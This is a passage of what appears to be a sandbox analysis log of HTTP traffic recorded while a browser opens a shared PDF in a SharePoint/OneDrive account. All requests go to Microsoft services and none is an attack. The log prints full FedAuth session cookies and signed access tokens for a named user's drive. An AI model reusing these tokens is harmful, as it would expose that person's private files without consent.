ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/kenlo_lssclean_com/_api/v2.0/sites/%7Be25a369b-8b67-4144-92cc-078b33ca588d%7D/lists/%7Ba0f66fd2-eb87-4b9d-ae3a-8766a967ac4e%7D/items/delta?token=latest HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /_layouts/15/SPComponentRegistry.ashx?projects=[%22STS%22]&languages=%5B%5D HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveAccept: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://lsscleancom-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&listhandler=v2Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /footprint/v3.2/scripts/fp-min.js HTTP/1.1Host: r4.res.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://lsscleancom-my.sharepoint.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://lsscleancom-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /conf/v2/o365se/fpconfig.min.json?monitorId=O365se HTTP/1.1Host: config.fp.measure.office.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://lsscleancom-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://lsscleancom-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /footprint/v3.2/scripts/fp-min.js HTTP/1.1Host: r4.res.office365.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /conf/v2/o365se/fpconfig.min.json?monitorId=O365se HTTP/1.1Host: config.fp.measure.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /transform/passthrough?provider=spo&inputFormat=pdf&cs=fFNQTw&docid=https%3A%2F%2Flsscleancom-my.sharepoint.com%3A443%2F_api%2Fv2.0%2Fdrives%2Fb!mzZa4meLREGSzAeLM8pYjYOaZGEjYSZOiQq_DviJVB_Sb_agh-udS646h2apZ6xO%2Fitems%2F01PAUN5EV7Y6GULGCLNFH2TW7EQ7IFQ4S4%3Fversion%3DPublished&access_token=v1.eyJzaXRlaWQiOiJlMjVhMzY5Yi04YjY3LTQxNDQtOTJjYy0wNzhiMzNjYTU4OGQiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvbHNzY2xlYW5jb20tbXkuc2hhcmVwb2ludC5jb21AMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwIiwiZXhwIjoiMTczNzYwMTIwMCJ9.CiMKCXNoYXJpbmdpZBIWU1JiS0pVRyt2a201VysvWkhmOW51QQoICgNzdHASAXQKCgoEc25pZBICMzMSBgjK9ToQARoMOC40Ni4xMjMuMTg5IhRtaWNyb3NvZnQuc2hhcmVwb2ludCosWHBtNHNneEdwdVRML013ZjMrclV5Uk8yb0xvZDg2Sk1pT3EyZHVjNm54TT0weTgBShBoYXNoZWRwcm9vZnRva2VuYgR0cnVlcmEwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNhMjhkNGRjYmYwNzBkMDk2YzFkY2U0OTdlNzdjNTYzOTIxNDAzZDVjOTBlMzMwMGY2MjI2ODUxNGI2YjhlZjQ3egEwwgFhMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0Nw.Lsr8Ucplis2LjFmityGgxn83vokKXYgLZPqcoKiCI3I&cTag=%22c%3A%7B458DC7BF-4B98-4F69-A9DB-E487D058725C%7D%2C1%22 HTTP/1.1Host: centralus1-mediap.svc.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://lsscleancom-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://lsscleancom-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /transform/passthrough?provider=spo&inputFormat=pdf&cs=fFNQTw&docid=https%3A%2F%2Flsscleancom-my.sharepoint.com%3A443%2F_api%2Fv2.0%2Fdrives%2Fb!mzZa4meLREGSzAeLM8pYjYOaZGEjYSZOiQq_DviJVB_Sb_agh-udS646h2apZ6xO%2Fitems%2F01PAUN5EV7Y6GULGCLNFH2TW7EQ7IFQ4S4%3Fversion%3DPublished&access_token=v1.eyJzaXRlaWQiOiJlMjVhMzY5Yi04YjY3LTQxNDQtOTJjYy0wNzhiMzNjYTU4OGQiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvbHNzY2xlYW5jb20tbXkuc2hhcmVwb2ludC5jb21AMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwIiwiZXhwIjoiMTczNzYwMTIwMCJ9.CiMKCXNoYXJpbmdpZBIWU1JiS0pVRyt2a201VysvWkhmOW51QQoICgNzdHASAXQKCgoEc25pZBICMzMSBgjK9ToQARoMOC40Ni4xMjMuMTg5IhRtaWNyb3NvZnQuc2hhcmVwb2ludCosWHBtNHNneEdwdVRML013ZjMrclV5Uk8yb0xvZDg2Sk1pT3EyZHVjNm54TT0weTgBShBoYXNoZWRwcm9vZnRva2VuYgR0cnVlcmEwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNhMjhkNGRjYmYwNzBkMDk2YzFkY2U0OTdlNzdjNTYzOTIxNDAzZDVjOTBlMzMwMGY2MjI2ODUxNGI2YjhlZjQ3egEwwgFhMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0Nw.Lsr8Ucplis2LjFmityGgxn83vokKXYgLZPqcoKiCI3I&cTag=%22c%3A%7B458DC7BF-4B98-4F69-A9DB-E487D058725C%7D%2C1%22 HTTP/1.1Host: centralus1-mediap.svc.msConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /personal/kenlo_lssclean_com/_api/v2.0/sites/root/lists/a0f66fd2-eb87-4b9d-ae3a-8766a967ac4e/subscriptions/socketIo?listItemIds= HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/json;odata=verbosePrefer: NotificationSessionsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://lsscleancom-my.sharepoint.com/personal/kenlo_lssclean_com/_layouts/15/onedrive.aspx?ga=1&id=%2Fpersonal%2Fkenlo%5Flssclean%5Fcom%2FDocuments%2FTAXING%20SOLUTIONS%20INC%2FTAXING%20SOLUTIONS%20INC%2Epdf&parent=%2Fpersonal%2Fkenlo%5Flssclean%5Fcom%2FDocuments%2FTAXING%20SOLUTIONS%20INCAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; FeatureOverrides_experiments=[]; MicrosoftApplicationsTelemetryDeviceId=632ded66-8ef0-4d7a-9a46-2a1ef7f803ad; ai_session=eKRnVKlDpsQEE+v+GauJzo|1737581977253|1737581977253
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?6628f45503807cbb34150294ee06b55f HTTP/1.1Host: ow1.res.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://lsscleancom-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?b448af9894f7bba91c1d274e676da965 HTTP/1.1Host: ow1.res.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://lsscleancom-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?6628f45503807cbb34150294ee06b55f HTTP/1.1Host: ow1.res.office365.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?b448af9894f7bba91c1d274e676da965 HTTP/1.1Host: ow1.res.office365.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?8425624b848de7aa450776d1a07d4f72 HTTP/1.1Host: d3a28cdb8704c670f30a4dc23c620218.fp.measure.office.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://lsscleancom-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://lsscleancom-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /transform/thumbnail?provider=spo&inputFormat=pdf&cs=fFNQTw&docid=https%3A%2F%2Flsscleancom-my.sharepoint.com%3A443%2F_api%2Fv2.0%2Fdrives%2Fb!mzZa4meLREGSzAeLM8pYjYOaZGEjYSZOiQq_DviJVB_Sb_agh-udS646h2apZ6xO%2Fitems%2F01PAUN5EV7Y6GULGCLNFH2TW7EQ7IFQ4S4%3Fversion%3DPublished&access_token=v1.eyJzaXRlaWQiOiJlMjVhMzY5Yi04YjY3LTQxNDQtOTJjYy0wNzhiMzNjYTU4OGQiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvbHNzY2xlYW5jb20tbXkuc2hhcmVwb2ludC5jb21AMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwIiwiZXhwIjoiMTczNzYwMTIwMCJ9.CiMKCXNoYXJpbmdpZBIWU1JiS0pVRyt2a201VysvWkhmOW51QQoICgNzdHASAXQKCgoEc25pZBICMzMSBgjK9ToQARoMOC40Ni4xMjMuMTg5IhRtaWNyb3NvZnQuc2hhcmVwb2ludCosWHBtNHNneEdwdVRML013ZjMrclV5Uk8yb0xvZDg2Sk1pT3EyZHVjNm54TT0weTgBShBoYXNoZWRwcm9vZnRva2VuYgR0cnVlcmEwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNhMjhkNGRjYmYwNzBkMDk2YzFkY2U0OTdlNzdjNTYzOTIxNDAzZDVjOTBlMzMwMGY2MjI2ODUxNGI2YjhlZjQ3egEwwgFhMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0Nw.Lsr8Ucplis2LjFmityGgxn83vokKXYgLZPqcoKiCI3I&cTag=%22c%3A%7B458DC7BF-4B98-4F69-A9DB-E487D058725C%7D%2C1%22&encodeFailures=1&width=1024&height=1024&srcWidth=&srcHeight= HTTP/1.1Host: centralus1-mediap.svc.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://lsscleancom-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://lsscleancom-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?99b58699882d2a506f102785d24faabf HTTP/1.1Host: d3a28cdb8704c670f30a4dc23c620218.fp.measure.office.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://lsscleancom-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://lsscleancom-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?8425624b848de7aa450776d1a07d4f72 HTTP/1.1Host: d3a28cdb8704c670f30a4dc23c620218.fp.measure.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /transform/thumbnail?provider=spo&inputFormat=pdf&cs=fFNQTw&docid=https%3A%2F%2Flsscleancom-my.sharepoint.com%3A443%2F_api%2Fv2.0%2Fdrives%2Fb!mzZa4meLREGSzAeLM8pYjYOaZGEjYSZOiQq_DviJVB_Sb_agh-udS646h2apZ6xO%2Fitems%2F01PAUN5EV7Y6GULGCLNFH2TW7EQ7IFQ4S4%3Fversion%3DPublished&access_token=v1.eyJzaXRlaWQiOiJlMjVhMzY5Yi04YjY3LTQxNDQtOTJjYy0wNzhiMzNjYTU4OGQiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvbHNzY2xlYW5jb20tbXkuc2hhcmVwb2ludC5jb21AMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwIiwiZXhwIjoiMTczNzYwMTIwMCJ9.CiMKCXNoYXJpbmdpZBIWU1JiS0pVRyt2a201VysvWkhmOW51QQoICgNzdHASAXQKCgoEc25pZBICMzMSBgjK9ToQARoMOC40Ni4xMjMuMTg5IhRtaWNyb3NvZnQuc2hhcmVwb2ludCosWHBtNHNneEdwdVRML013ZjMrclV5Uk8yb0xvZDg2Sk1pT3EyZHVjNm54TT0weTgBShBoYXNoZWRwcm9vZnRva2VuYgR0cnVlcmEwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNhMjhkNGRjYmYwNzBkMDk2YzFkY2U0OTdlNzdjNTYzOTIxNDAzZDVjOTBlMzMwMGY2MjI2ODUxNGI2YjhlZjQ3egEwwgFhMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0Nw.Lsr8Ucplis2LjFmityGgxn83vokKXYgLZPqcoKiCI3I&cTag=%22c%3A%7B458DC7BF-4B98-4F69-A9DB-E487D058725C%7D%2C1%22&encodeFailures=1&width=1024&height=1024&srcWidth=&srcHeight= HTTP/1.1Host: centralus1-mediap.svc.msConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?13280bbe3c383236997d63c599c975a3 HTTP/1.1Host: outlook.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://lsscleancom-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://lsscleancom-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
